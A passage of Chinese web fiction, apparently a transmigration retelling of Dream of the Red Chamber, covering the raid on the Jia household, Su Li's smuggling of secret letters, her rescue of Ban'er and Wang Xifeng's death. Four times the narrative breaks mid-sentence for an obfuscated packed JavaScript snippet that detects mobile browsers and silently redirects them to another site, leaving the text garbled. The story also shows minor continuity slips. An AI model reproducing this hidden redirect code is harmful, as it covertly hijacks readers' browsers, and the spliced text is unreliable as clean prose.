“璃姑娘，可找到您了！”林之孝压低声音，气喘吁吁，“奴才……奴才有要紧事回禀！” 苏璃心中一紧，忙将他引到僻静处：“林管家，慢慢说，出了何事？” 林之孝擦着额头的冷汗，声音发颤：“姑娘让奴才留意省亲别墅物料的事……奴才今日拼着性命，买通了一个在工部街面上混的闲汉，他……他透了个惊天消息！” “什么消息？” “那闲汉说，他一个相好的兄弟，在忠顺亲王名下的一处皇商货栈里当差，前几日吃醉了酒吹牛，说他们货栈近日吞下了一大批上等的木料、石料，还有不少御制的琉璃瓦、金砖！说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047782|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……说是从什么‘倒了霉的国公府’的工程上扒下来的，价格便宜得跟白捡一样！” 苏璃瞳孔骤缩：“忠顺亲王？可能确定是省亲别墅的物料？” “八九不离十！”林之孝道，“那闲汉说了，物料上有内府的印记，而且数量极大，不是寻常府邸能用得起的。奴才琢磨着，这满京城，近期倒了霉又用了这么多御制物料的，除了咱们府上的省亲别墅，还能有谁？” 苏璃只觉得一股寒意从脚底直窜头顶！忠顺亲王！竟然是忠顺亲王吞没了这批物料！ 这意味着什么？意味着查抄省亲别墅工程亏空，很可能就是忠顺亲王在背后推动！他不仅借此打击贾府，还趁机将价值巨万的工程物料中饱私囊！这简直是无本万利的买卖！而皇帝对此是默许，是不知，还是……有意纵容？ 这消息太惊人，也太危险。一旦泄露，忠顺亲王绝不会放过任何知情人。 “林管家，此事还有谁知晓？”苏璃厉声问。 “除了那闲汉和他兄弟，就只有奴才和姑娘您了！奴才晓得厉害，再三叮嘱那闲汉把嘴闭紧，给了他二十两银子封口费！”林之孝连忙道。 苏璃深吸一口气，强迫自己冷静下来。这消息是危机，也是……或许能加以利用的契机。忠顺亲王是水澈的政敌，这个消息，或许能增加她与水澈谈判的筹码。 她取出十两银子塞给林之孝，郑重道：“林管家，你立了大功！这银子你拿着，务必稳住那闲汉，此事对谁都不可再提，连二奶奶那边也暂且瞒下，以免横生枝节，招来杀身之祸！明白吗？” 林之孝接过银子，连连点头：“奴才明白！奴才明白！谢姑娘赏！” 打发走林之孝，苏璃独自站在寒冷的院子里，心潮澎湃。省亲别墅物料的去向、北静王府的旧年军费债、海外资产的隐秘脉络……一条条线索，如同黑暗中的蛛网，渐渐显现出狰狞的轮廓。贾府这座大厦，早已被蛀空，如今更是被群狼环伺，只等最后一声令下，便会轰然倒塌。 而她，必须在这倒塌之前，找到那条唯一的生路。 水澈要的旧债证据，或许就在那封贾敬的信中。但如何交给他？直接交出原信太危险，容易引火烧身。必须想个更稳妥的法子。 就在这时，一个小丫鬟匆匆跑来：“璃姑娘，平儿姐姐让您快去！二奶奶……二奶奶咳血了！” 苏璃心头一沉，立刻朝王熙凤房中奔去。等她感到之际，凤姐竟已昏迷不醒了。 王熙凤咳血昏迷，如同一记丧钟，在死寂的贾府上空敲响。 府内上下，最后一丝强撑的体面也荡然无存，只剩下末日降临前的恐慌与绝望。巧姐儿吓得小脸煞白，紧紧拽着苏璃的衣角，仿佛她是唯一的浮木。平儿强忍悲痛，指挥若定，请医熬药，但谁都明白，这不过是尽人事听天命。 58. 大观园查抄 苏璃守在王熙凤病榻前，看着那张昔日艳光逼人、此刻却灰败如纸的脸，心中五味杂陈。 这个精明了半世、要强了一辈子的女人，终究被这泼天的富贵和深重的罪孽拖垮了。弥留之际，王熙凤时而清醒，时而糊涂，清醒时只紧紧攥着苏璃的手，浑浊的眼睛死死盯着她，嘴唇翕动，却发不出清晰的声音，只有无尽的担忧与托付，都融在那铁钳般的紧握里。糊涂时，便喃喃喊着“巧姐儿”，或是厉声咒骂着什么“没良心的”、“黑心种子”，听得人胆战心惊。 苏璃知道，时间不多了。水澈给的半月之期，已过去近半。她必须在水澈再次联系她之前，拿到足够的“诚意”，同时加快自己的后手安排。 利用王熙凤昏迷、府中大乱的机会，苏璃的行动反而少了些顾忌。她以“替奶奶找药方”、“清点库房备用人参”等为由，更加频繁地调阅核心账册，特别是那些涉及海外资产转移路径和与皇子、宫中贵人往来的密信。她记忆力超群，几乎过目不忘，将关键信息用只有自己才懂的密码符号，密录在几张薄如蝉翼的薛涛笺上，与那枚锦囊一同贴身藏好。 同时，她也没放松对北静王府旧债和吴新登下落的追查。那封贾敬的信是关键线索，但直接交出原信太危险。她需要复制一份，或者找到更确凿的旁证。 这日傍晚，苏璃借口去库房找一味珍稀药材“安宫牛黄丸”（实则王熙凤私库中早已备有，她心知肚明），再次潜入那堆放杂物的耳房。她必须找到更多关于那笔五万两军费旧债的蛛丝马迹。 就在她于故纸堆中小心翻检时，窗外隐约传来一阵急促的脚步声和压低的交谈声，似乎是一队官差模样的人，由林之孝陪着，正快速穿过花园，往大观园方向而去。 苏璃心中猛地一沉！大观园？这个时候官差去大观园做什么？难道是……抄检的前兆？不对，水澈明明说还有近十日！是情况有变，还是……这只是初步的清点摸底？ 她屏住呼吸，贴近窗缝，只听林之孝的声音带着惶恐和讨好：“……几位爷这边请……园子里如今只住着几位小姐和宝玉少爷，都病着……东西都、都原样放着，不敢动……” 一个粗豪的官差声音不耐烦地道：“少废话！奉上谕，查抄犯官贾赦、贾珍府邸，所有房舍、园囿，一应物件，皆需登记造册，等候查封！带路！” 查抄！这两个字如同冰水浇头，苏璃浑身一颤。虽然早有预料，但当真听到，仍觉一股寒意从脚底直窜头顶。竟然提前了！是因为忠顺亲王吞没物料的事发了，还是皇帝改变了主意？ 她不敢再多听，趁着官差脚步声远去，立刻悄无声息地溜出耳房，绕道疾步回王熙凤院。必须立刻通知平儿，做好最坏的准备！ 刚进院门，就见平儿面色惨白地迎上来，声音发颤：“璃丫头，你可回来了！刚才东府那边传来消息，说……说珍大爷和大老爷已经被……被锦衣府拿去了！官差已经进了园子，正在各处贴封条、清点造册！” 果然！雷霆一击，竟来得如此之快！苏璃强压心惊，急问：“奶奶怎么样？巧姐儿呢？” “奶奶刚服了药，昏睡过去了。巧姐儿我让丰儿带着在里间，没敢让她们知道。”平儿六神无主，“这、这可怎么是好？官差会不会到咱们院里来？” “暂时应该不会。”苏璃强迫自己冷静分析，“既然是查抄贾赦、贾珍，重点在东府和赦老爷那边。咱们这边是荣国府，虽是一体，但罪名未定，或许会稍缓一步。但园子既然被封，下一步……”她没说完，但意思明确，荣国府也在劫难逃。 正说着，外面传来一阵喧哗哭喊声，隐约能听到“宝二爷”、“林姑娘”的惊呼。显然是官差进了大观园，惊动了里面的主子们。 平儿吓得腿软，几乎站立不住。苏璃扶住她，低声道：“平儿姐姐，此刻万万不能乱！奶奶病着，巧姐儿还小，院里上下都看着咱们呢！你守着奶奶和巧姐儿，紧闭院门，无论外面发生什么，都不要开门！我去打探一下消息！” 平儿如同抓住救命稻草，连连点头。 苏璃定了定神，深吸一口气，走出院门。她没有直接去大观园，那里现在是是非之地。她绕道去了靠近园子后门的一处僻静假山后，这里地势略高，能隐约看到园内一部分情形。 只见园内一片狼藉，昔日花柳繁华地，如今尽是兵戈肃杀声。一队队穿着号衣的官差，如狼似虎地闯入各院馆。潇湘馆、怡红院、蘅芜苑……门上的封条在风中刺眼地飘动。丫鬟婆子们的哭喊声、官差的呵斥声、翻箱倒柜的碰撞声混杂在一起，如同人间地狱。 苏璃看到几个婆子连推带搡地将一个披头散发的妇人架出来，看身形衣着，竟是邢夫人！她口中兀自哭骂不休，却被官差毫不留情地拖走。又见一队官差从秋爽斋里抬出几个大箱子，探春似乎想要阻拦，被一个官差推搡开，跌坐在地，背影绝望而凄凉。惜春的藕香榭方向，传来瓷器碎裂的刺耳声响…… 苏璃不忍再看，心口堵得发慌。这就是抄家！这就是皇权的冷酷无情！昔日钟鸣鼎食之家，顷刻间便如大厦倾颓，任人践踏。 她正欲离开，忽然眼角瞥见两个穿着体面些、像是小头目的官差，一边指挥着手下贴封条，一边低声交谈着，朝她这个方向走来。苏璃连忙缩身藏在假山石后。 只听一人道：“……王哥，这园子也忒大了，东西海了去了，这得查到什么时候？” 那个被称作王哥的啐了一口：“急什么？上头吩咐了，仔细搜检，特别是书信、账册、地契房契，一样不许漏！听说这贾家海外还有不少产业，得找出线索来！” 另一人压低声音：“海外产业？那得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049304|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是多大一笔银子？你说……咱们能不能……”他做了个搓手指的动作。 王哥冷笑：“你小子想钱想疯了？这可是忠顺亲王和北静王爷亲自督办的要案！王爷们盯着的肥肉，你也敢伸手？仔细你的脑袋！办好差事，自有赏钱。若敢私藏，哼！” “是是是，小弟糊涂！”那人连忙赔笑，“对了，王哥，听说北静王爷那边，还让留意贾家和王府之间的旧年账目往来？好像有一笔什么……修缮款子？” 苏璃心中剧震！北静王府旧债！水澈果然在查这个！而且，听这意思，北静王水溶本人也关注此事？这水澈到底是奉皇命，还是奉王府命？或者……两者皆有？ 王哥道：“嗯，王爷特意吩咐的。说是二十多年前的一笔旧账，与西海沿子军备有关。贾家肯定有底子，仔细找找。找到可是大功一件！” “西海沿子军备……”苏璃心中默念，这与贾敬信中所言完全吻合！这债务果然牵扯军国大事，非同小可！ 两人边说边走远。苏璃待在假山后，冷汗湿透了内衫。情况比她预想的更复杂、更凶险。查抄提前，打乱了她的计划。水澈要的旧债证据，官差也在找！她必须赶在官差之前，拿到更确凿的东西！ 那封贾敬的信太单薄，她需要找到当年具体的借款凭证、还款协议，或者与北静王府相关的更直接的书信往来！ 她忽然想起，王熙凤曾经提过一嘴，说老太太那里有个小螺钿匣子，装着老国公爷一些极其要紧的旧书信和文书，连她都不让轻易动。会不会……那里面有关键证据？ 这个念头让她心跳加速。贾母如今自身难保，荣庆堂恐怕也难逃搜查。必须尽快行动！ 她悄悄潜回王熙凤院，将听到的消息简要告诉了平儿。平儿听得面无人色。 “平儿姐姐，如今已是生死关头。”苏璃握住她冰冷的手，目光坚定，“奶奶和巧姐儿，恐怕……唯有置之死地而后生。我有一线生机，或可保全巧姐儿，但需冒险一搏。你可信我？” 平儿看着苏璃清澈而决绝的眼睛，想起她往日种种不凡，又想到眼下绝境，把心一横，重重点头：“我信你！你说，要怎么做？” 苏璃低声道：“我要去一趟老太太的荣庆堂，找一样东西。你守好这里，无论如何撑到天亮。若……若我回不来，巧姐儿就托付给你了。柜子底层那件灰布包袱，是留给她的活命钱。”那是她早已准备好的一部分金银细软。 平儿眼泪涌出，死死捂住嘴才没哭出声，只是拼命点头。 苏璃不再犹豫，换上一身深色旧衣，趁着夜色和府中大乱，像一道影子般溜出院子，朝着荣庆堂方向潜去。 夜色深沉，贾府内灯火零落，哭喊声断续，如同鬼域。苏璃的心，却在这片混乱与黑暗中，变得异常冷静和坚硬。最后一搏，开始了。 59. 风暴中心 苏璃冒险潜入荣庆堂时，贾母院内已是一片狼藉。官差虽未正式抄检至此，但已有婆子慌乱收拾细软，丫鬟们哭作一团。贾母病倒在床，气息奄奄，鸳鸯等贴身大丫鬟强忍悲愤，守着最后一丝体面。 苏璃心知时间紧迫，顾不得解释，只对鸳鸯急道：“鸳鸯姐姐，奶奶病重，有极要紧的话需禀告老太太，关乎巧姐儿性命！”她抬出王熙凤和巧姐儿，又亮出王熙凤给的一件信物，鸳鸯虽疑，但见她说得严重，又知她素日得凤姐倚重，且眼下府中大乱，便咬牙放她进了内室。 贾母昏沉中，苏璃跪在榻前，语速极快却清晰：“老祖宗，奴婢是璃丫头。府中遭难，恐有小人落井下石。奶奶让奴婢务必告知老祖宗，她房中那个紫檀木小佛龛的暗格内，有……有您早年交给她的，关于……关于南边老亲一笔旧年账目的凭据，或可……或可保全家族一线生机！”她故意说得含糊，重点在“南边老亲”和“旧年账目”，暗示与甄家等江南老亲乃至更深的利益网络有关，这是贾母最核心的关切。 贾母浑浊的眼睛猛地睁大一丝，死死盯住苏璃，枯瘦的手抓住她的腕子，力气大得惊人，嘴唇翕动，却只发出嗬嗬的气声。苏璃知道她听懂了，也明白那佛龛内或许真有极重要的东西，可能关乎家族退路，也可能……就包括北静王府那笔旧债的线索！她重重磕头：“奴婢拼死也会设法保全！”贾母眼神复杂地看了她一眼，终于松手，颓然倒回枕上，眼角滑下一滴混浊的泪。 苏璃不敢耽搁，在鸳鸯掩护下，迅速按记忆找到那个不起眼的紫檀木小佛龛。果然在底座摸到机括，打开暗格，里面除了一些田契、房契外，赫然有几封泛黄的信札和一本薄薄的、用特殊符号标记的账册。她来不及细看，迅速将最关键的几封信和账册塞入怀中，将暗格恢复原状。刚退出内室，就听外面喧哗，官差已至荣庆堂外院！ 苏璃从后窗翻出，借着花木掩护，心跳如鼓。她必须立刻将关于北静王府旧债的关键线索送出去！水澈给的联络渠道，是城西一家看似普通的“墨香斋”书铺，通过特定暗语交接。但如今府外必有耳目，如何出去？ 情急生智，她想起府中每日仍有往外运送垃圾、污物的角车。她冒险溜到后角门附近，打晕一个落单的、身形相仿的粗使婆子，换上其污秽的衣衫，用灰土抹脏脸，将密信和账册小心藏在运泔水的木桶夹层里。恶臭熏天，她强忍呕吐的欲望，推着角车，低着头，混在几个同样麻木的仆役中，朝角门走去。 守门的已是陌生兵丁，骂骂咧咧地检查。看到泔水车，厌恶地挥手赶人。苏璃心中暗喜，正要推出门去，忽听一个尖细的声音响起：“慢着！” 苏璃浑身一僵。只见一个穿着体面、像是内务府差官模样的人踱步过来，眼神锐利地扫过他们这几个推车的仆役。苏璃认得他，是常来府里、与贾赦、贾珍都有些往来的夏太监手下！他怎会在此？是巧合，还是……专为盯防有人趁乱传递消息？ 那内务府差官捏着鼻子，绕着泔水车走了一圈，目光在苏璃低垂的头上停留片刻，忽然冷笑一声：“抬起头来！” 苏璃心沉谷底，知道恐怕暴露了。她正欲拼死一搏，忽听角门外传来一阵急促马蹄声和呵斥！一队骑兵疾驰而至，为首者竟是大理寺的官员，直接亮出令牌，对那内务府差官喝道：“奉旨查案！闲杂人等退开！贾府一应人等，不得出入！” 场面瞬间混乱。那内务府差官脸色一变，似有顾忌，狠狠瞪了苏璃一眼，却不得不退开。苏璃趁此机会，赶紧推着车，在兵丁的驱赶下，混出了角门！ 出了贾府那扇地狱之门，苏璃不敢停留，推着泔水车专挑僻静小巷疾走。直到远离宁荣街，才将车弃于沟渠，取出密信账册，换回稍整洁的衣衫（她提前备好藏在身上），朝城西墨香斋奔去。她感觉背后似有目光追随，但回头只见人流匆匆，分不清是敌是友。 与此同时，贾府内，真正的风暴彻底降临。 忠顺亲王长史官亲至，与锦衣府赵堂官会同查抄。不仅贾赦、贾珍被锁拿，贾政亦被革职候参！宁荣二府，所有门庭悉数被封，男丁女眷分别看管，哭嚎震天。大观园内，抄检出的“违禁”物品堆积如山，其中竟有仿制的宫内服饰、禁书，甚至搜出司徒蟠赠予薛家的、带有内造标记的器皿，成了“交通外官、倚势凌弱”的罪证。王夫人、邢夫人等女眷被驱赶到一处院落，瑟瑟发抖。 而王熙凤院中，气氛更如冰窟。王熙凤已陷入深度昏迷，气若游丝。平儿与丰儿死死守着床榻，巧姐儿吓得连哭都不敢出声。忽闻外面脚步声杂沓，竟是邢夫人领着官差闯入！邢夫人一脸悲戚，眼中却闪着快意和狠毒，指着王熙凤对官差哭道：“官爷！就是这妇人！当家里克扣盘剥，放利钱逼死人命，私放官银，无所不为！她的体己，定然都藏在这屋里！” 她竟是要趁你病要你命，落井下石，将一切罪责推给王熙凤！平儿又惊又怒，上前理论，被官差粗暴推开。官差如狼似虎，开始翻箱倒柜搜查。眼看就要搜到王熙凤枕边那个装着私密账本和借券的小匣子！ 平儿绝望之际，忽见昏迷中的王熙凤手指微微动了一下，嘴唇无声地翕动，似乎念着“璃……”。平儿福至心灵，猛地扑到床边，假意哭喊：“奶奶！奶奶您醒醒啊！您不能丢下巧姐儿啊！”趁机将那个小匣子迅速塞入王熙凤身下褥垫深处，用身体挡住。 邢夫人没找到想象中的巨额财宝，只翻出些寻常首饰，气急败坏。官差见王熙凤奄奄一息，也懒得再细搜，只将明显值钱之物登记封存，呵斥众人不得离开。 邢夫人悻悻而去前，恶毒地瞥了平儿和巧姐儿一眼。平儿抱着瑟瑟发抖的巧姐儿，看着满屋狼藉和床上生死不知的主子，心中一片冰凉。她知道，真正的苦难，才刚刚开始。而苏璃，此刻又在何方？她能否将那份关乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054402|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来的“诚意”，顺利送出？ 城西，墨香斋。 苏璃压低帷帽，走进书铺。店内冷清，只有一个老掌柜在打盹。她按水澈所教暗语，低声道：“掌柜的，可有前朝《山海舆图》的摹本？” 老掌柜眼皮一抬，精光一闪而逝，慢悠悠道：“姑娘要的可是顾祖禹本？稀罕物，在后堂。” 苏璃随他进入后堂。老掌柜关上门，神色顿变，低促道：“东西呢？” 苏璃迅速掏出怀中密信账册：“速交北静王水澈！事关重大！”她特意点明水澈，是怕中间有变。 老掌柜接过，看也不看塞入怀中：“姑娘快走！此处恐不安全！” 苏璃点头，转身欲出。刚走到门边，忽听前店传来喧哗和兵甲碰撞声！门被猛地踹开！几名官兵冲入，为首者厉喝：“大理寺拿人！闲杂人等束手就擒！” 苏璃瞳孔骤缩！是陷阱？！她猛地看向老掌柜，却见老掌柜脸上也闪过惊愕，不似作伪。 “官爷，这是何意？”老掌柜强自镇定。 “有人举报此地窝藏钦犯贾府逃奴！搜！”官兵推开老掌柜，目光锁定了正要离开的苏璃！ 苏璃心念电转，不能连累水澈的渠道！她猛地将桌上油灯扫向书架，火苗瞬间窜起！同时尖叫：“走水了！”趁乱向后退去，想从后窗逃脱。 然而，窗口也出现了官兵的身影！她被困住了！ 就在这千钧一发之际，后堂通往内院的小门突然被撞开，一个黑影闪入，动作快如鬼魅，一把拉住苏璃手腕，低喝：“跟我走！” 苏璃不及反应，已被那人拽入内院。身后传来官兵的呵斥和救火的混乱声。那人拉着她七拐八绕，竟从一处极隐蔽的狗洞钻出了墨香斋，落入一条漆黑死巷。 “你是谁？”苏璃惊魂未定，借着微弱天光，看清拉她之人竟是个身形瘦小、面容普通的年轻男子，从未见过。 那男子不答，只急促道：“王爷料到此地可能暴露，令我来接应。东西已安全送出。姑娘速随我转移，此处不宜久留！”他口中的“王爷”，自然是水澈。 苏璃心中稍安，但疑虑更深。水澈竟还安排了后手？他到底布了多少棋？ 然而，没等她细想，巷口已传来追兵脚步声和火把光亮！“在那边！别让逃奴跑了！” 男子脸色一变，推了苏璃一把：“分开走！城南土地庙后身第三棵槐树下有接应！”说完，他竟主动朝追兵方向冲去，制造动静引开注意。 苏璃咬紧牙关，知道此刻不是犹豫之时，转身朝相反方向狂奔。冰冷的夜风刮在脸上，她心中却如同火烧。 东西送出去了吗？水澈能收到吗？ 那个内务府差官、墨香斋的暴露、还有这个突然出现的接应者……这一切是巧合，还是早已编织好的网？她感觉自己仿佛落入了一个巨大的漩涡中心，四周皆是迷雾与暗流。 60. 挺身护弱 苏璃在漆黑死巷中屏住呼吸，听着追兵的脚步声和呵斥声在巷口短暂停留，随即朝着神秘男子引开的方向渐行渐远。她不敢耽搁，按着狂跳的心口，辨明方向，朝着城南土地庙发足狂奔。 夜色如墨，寒风刺骨。她专挑最阴暗、最僻静的角落穿行，如同惊弓之鸟，任何一点声响都让她心惊肉跳。 内务府差官那阴鸷的眼神、墨香斋老掌柜惊愕的面容、还有那个身手矫健的神秘接应者……这一切交织成一张巨大的迷网，让她感到前所未有的孤立和危险。水澈的渠道竟然暴露了？是巧合，还是早有预谋？那个接应者真是水澈的人吗？他能否脱身？无数疑问在她脑中盘旋，却找不到答案。 土地庙在城南荒僻处，年久失修，平日里只有些乞儿流民偶尔栖身。苏璃赶到时，已是后半夜，残月被乌云遮蔽，只有破庙廊下一点微弱的火光摇曳，映出斑驳剥落的墙皮和歪斜的门框。四周寂静无声，只有风吹过破窗的呜咽。 她不敢贸然进去，躲在远处一棵老槐树后，仔细观察。第三棵槐树……她数过去，树下空无一人，只有枯叶在风中打旋。接应点没有任何标记，也没有人影。她心中那股不祥的预感越来越强烈。是来早了，还是……根本就是个陷阱？ 就在她犹豫是否要离开时，破庙里忽然传来一阵压抑的啜泣声，夹杂着几句粗鲁的呵斥。苏璃心中一紧，这声音……有些耳熟？她悄悄挪近几步，借着庙内微光，隐约看见几个穿着差役服色的人影，正围着一个蜷缩在角落的小小身影。那身影穿着不合身的破旧棉袄，梳着双丫髻，竟是——巧姐儿的奶妈子刘姥姥家的板儿？！他怎么会在这里？还被官差抓住了？ 只听一个差役骂道：“小兔崽子，深更半夜躲在这破庙里，定是贾府的逃奴！说！还有谁躲在这里？不说实话，仔细你的皮！” 板儿吓得浑身发抖，哭得上气不接下气：“官……官爷饶命……我不是逃奴……我是来找……找我姥姥的……姥姥在贾府帮工，好久没信儿了……” “呸！贾府的人都抄没了！你还敢狡辩！带走！回去好好审问！”另一个差役不耐烦地就要上前拉扯。 苏璃脑中“嗡”的一声。刘姥姥素日对王熙凤、对巧姐儿有恩，也是个实在人。板儿还是个孩子，若被当做贾府逃奴抓去，下场不堪设想。此刻自身难保，理智告诉她应该立刻离开，但看着板儿那惊恐无助的小脸，想到刘姥姥往日那点情分，她脚步骤然定住。平儿弥留之际的嘱托、王熙凤最后的眼神、巧姐儿孤苦无依的模样……一股热血猛地涌上心头。 不能见死不救！ 电光石火间，她已有了决断。她迅速从地上抓了把土抹在脸上，扯乱头发，将身上那件半旧不新的外衫反过来系上，然后猛地从暗处冲了出去，脚步踉跄，声音嘶哑地哭喊道：“官爷！官爷行行好！放了我弟弟吧！” 她这一冲出来，倒把几个差役吓了一跳。只见来个披头散发、满脸污垢的妇人，扑到板儿身前，一把抱住他，哭天抢地：“我的傻弟弟啊！你怎么跑这儿来了！娘病得快死了，叫你出来抓药，你咋跑到这鬼地方来了！你要是有个三长两短，我可怎么跟娘交代啊！”她一边哭，一边暗中用力掐了板儿一下。 板儿先是一愣，随即福至心灵，哇的一声大哭起来：“姐姐！我……我迷路了……找不到药铺……” 苏璃抬起泪眼婆娑的脸，对着差役连连磕头：“官爷明鉴！我弟弟是个傻子，脑子不清楚，绝不是啥逃奴！我们是城外王家庄的，我娘病重，家里揭不开锅了，才让我弟进城想找……找远房亲戚借点钱抓药，谁知他走丢了……官爷行行好，放了他吧，我给您磕头了！”她磕头如捣蒜，演技逼真，情急之下，竟将前世看过的苦情戏码学了个十足。 几个差役将信将疑。借着庙里火光打量苏璃，见她衣衫褴褛，满面尘灰，哭得情真意切，又看板儿确实一副懵懂可怜相，不像是有假。为首的那个皱皱眉：“王家庄的？你弟弟傻？怎么证明？” 苏璃忙道：“官爷若不信，可以问问这左近的人，王家庄是不是有个王婆子，病了好些天了？我弟弟叫板儿，村里人都知道他不灵光……”她故意说得含糊，赌这些差役不会为了个半傻的小孩子真去核实。 另一个差役嘀咕道：“头儿，我看这妇人不像说谎。就是个傻小子，抓回去也没油水，反倒费粮食。贾府的逃奴，哪有这么傻的？算了算了，多一事不如少一事。” 为首差役又审视了苏璃和板儿几眼，似乎也觉得为个傻孩子浪费时间不值，挥挥手骂道：“滚蛋滚蛋！大半夜的嚎什么丧！赶紧滚！别让爷再看见你们！” 苏璃如蒙大赦，连声道谢，拉起还在发懵的板儿，跌跌撞撞地跑出了土地庙，一刻不敢停留，专往黑灯瞎火的小巷里钻。 直到确认彻底摆脱了差役，苏璃才敢停下来，靠着一堵冰冷的墙壁，大口喘气，浑身虚脱。板儿这时才反应过来，哇的一声又哭了，这次是真的后怕：“柳……柳絮姐姐？是你吗？谢谢你救了我……” 苏璃捂住他的嘴，低声道：“别哭，也别叫姐姐。现在城里到处是抓贾府的人，不能让人认出我们。”她看着板儿冻得发青的小脸，心中酸楚，“板儿，你怎么在这儿？刘姥姥呢？” 板儿抽噎着说：“姥姥前些日子进府看巧姐儿和奶奶，后来府里乱了，就没出来……我爹娘担心，让我偷偷进城打听，我没处去，就……就躲在这破庙里，想等天亮再找，结果就被官差抓住了……” 苏璃心中一沉。刘姥姥恐怕也被困在贾府了，凶多吉少。她看着孤苦无依的板儿，知道自己不能丢下他不管。可是，自己如今也是泥菩萨过江，自身难保，带着个孩子，更是寸步难行。 她深吸一口气，强迫自己冷静。水澈的联络点暴露了，城南土地庙的接应落空，还差点自投罗网。现在必须立刻改变计划。身上还有一点散碎银子，是之前藏在鞋底的，幸好没被搜走。当务之急，是找个绝对安全的地方躲起来，再从长计议。 她想起一个地方——水澈曾经无意中提过，他在城中还有一处极隐秘的备用落脚点，是早年置下的产业，连他身边亲信也少有人知，位于城西一处看似普通的民居区，以“李姓商人”的名义存在。当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061402|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水澈说来是为以防万一，还给了她一个极其复杂的地址和开门方法，嘱咐她非到万不得已绝不可用。如今，正是万不得已之时！ 那里，或许是唯一的生机了。 她拉起板儿的手，低声道：“板儿，你信不信姐姐？” 板儿用力点头。 “好，那你就跟着我，别出声，我们去找个安全的地方。”苏璃下定决心，“记住，从现在起，我不是柳絮，你也不是板儿。我们是逃难的姐弟，你叫我……阿姐。有人问起，就说我们是投亲的，别的什么都不知道。” “嗯，阿姐。”板儿乖巧地应下。 苏璃辨明方向，带着板儿，再次融入冰冷的夜色中。前路茫茫，危机四伏，但至少此刻，她不是一个人了。这份意外的责任，让她原本只求自保的心，莫名生出了一丝坚韧。她要活下去，也要尽力护住这个无辜的孩子。这或许，是这倾覆的末世中，仅存的一点微光。 与此同时，荣国府内，一场更深的苦难正在上演。 查抄过后，府中男丁悉数被锁拿入狱，女眷则被圈禁在几处院落，由官兵看守。昔日钟鸣鼎食之家，如今如人间地狱。哭嚎声、斥骂声、哀求声终日不绝。 王熙凤被单独关在一处偏僻小院，病情急剧恶化，已至弥留之际。平儿拼死守在床边，衣不解带，形容枯槁。巧姐儿吓得只会哭，被一个还算有点良心的老嬷嬷勉强看顾着。 这夜，王熙凤忽然回光返照，眼神竟有片刻清明。她死死抓住平儿的手，枯瘦的手指如同铁钳，气息微弱却急促：“平儿……我……我不中用了……巧姐儿……巧姐儿就托付给你了……” 平儿泪如雨下：“奶奶！您别这么说！您会好的！” 王熙凤艰难地摇头，眼神涣散，仿佛在寻找什么，嘴唇翕动，声音低得几乎听不见：“……璃……璃丫头……她……她若活着……去找她……她……她有法子……”她从贴身衣物里摸索出一个小小的、触手温润的物件，塞到平儿手中，那似乎是一枚半块玉佩，纹理奇特，“……这个……给她……城南……土地庙……第三……” 话未说完，一阵剧烈的咳嗽打断了她，她的手猛地垂下，眼神彻底失去了光彩，只有出的气，没有进的气。 “奶奶！奶奶！”平儿扑到她身上，痛哭失声。 窗外，寒风呼啸，卷着雪花，敲打着破旧的窗棂。曾经叱咤风云的琏二奶奶，就这样在无尽的凄凉和不甘中，咽下了最后一口气。她至死都不知道，她临终前念着的、寄予最后一丝希望的“璃丫头”，此刻也正挣扎在生死边缘，而她遗言中提到的“城南土地庙”，刚刚经历了一场险象环生的追捕。 平儿紧紧攥着那半块玉佩和那句含糊的遗言，看着床上已然冰冷的躯体，又看看角落里吓得瑟瑟发抖的巧姐儿，心中一片绝望的冰凉。奶奶走了，这塌了的天，她一个弱女子，如何撑得起？璃姑娘，你又在哪里？是否真如奶奶所说，还有一线生机？ 真正的绝望，如同这漫漫长夜，深不见底。而那一线微弱的生机，似乎也随着王熙凤的离去，变得更加缥缈难寻。 61. 贾府颓势 水澈指节轻叩紫檀木桌面，发出沉闷的响声，在寂静的书房里回荡。 